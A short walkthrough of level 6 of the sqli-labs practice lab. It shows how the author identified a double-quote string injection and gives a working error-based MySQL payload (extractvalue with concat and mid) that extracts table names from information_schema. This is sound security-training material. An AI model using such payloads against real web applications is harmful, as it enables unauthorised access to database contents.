sqllab第六关通关笔记

知识点:

  • 报错注入回顾
  • 原始语句测试
  • 截取函数
    • mid(字符串,起始位置,长度)
    • substr(字符串,起始位置,长度)
    • left(字符串,长度)
    • right(字符串,长度)
  • 加入截取控制的错误注入payload
    • payload:id=1"%20and%20extractvalue(1,concat(0x7e,mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,30),0x7e))+--+
  • 关键表信息回顾

首先判断注入类型

构造id=1/0

发现正常输出;应该是字符型注入

构造id=1'

发现正常输出;不是单引号的输入读取

构造id=1"

发现报错了;好了,双引号引起的注入

利用错误注入进行数据读取

构造payload:id=1"%20and%20extractvalue(1,concat(0x7e,mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,30),0x7e))+--+

成功读取到了数据库的表信息;进一步可以读取字段名和关键信息

这里采用了mid截取函数进行长度控制;由于读取的内容小于32位,所以直接全部输出了;要不然就得分段读取

10

相关推荐
zhuyixiangyyds7 小时前
day21和day22学习Pandas库
笔记·学习·pandas
jingjingjing11118 小时前
笔记:docker安装(ubuntu 20.04)
笔记·docker·容器
DreamBoy@9 小时前
【408--考研复习笔记】操作系统----知识点速览
笔记
UpUpUp……9 小时前
特殊类的设计/单例模式
开发语言·c++·笔记·单例模式
电星托马斯10 小时前
C++中顺序容器vector、list和deque的使用方法
linux·c语言·c++·windows·笔记·学习·程序人生
jingjingjing111110 小时前
笔记:代码随想录算法训练营day64:拓扑排序精讲、dijkstra(朴素版)精讲
笔记
jimmyleeee10 小时前
人工智能基础知识笔记七:随机变量的几种分布
人工智能·笔记·概率论
熬夜造bug11 小时前
LeetCode Hot100 刷题笔记(6)—— 栈、堆
笔记
对方正在长头发丿12 小时前
LETTERS(DFS)
c++·笔记·算法·深度优先·图论
能来帮帮蒟蒻吗12 小时前
GO语言学习(16)Gin后端框架
开发语言·笔记·学习·golang·gin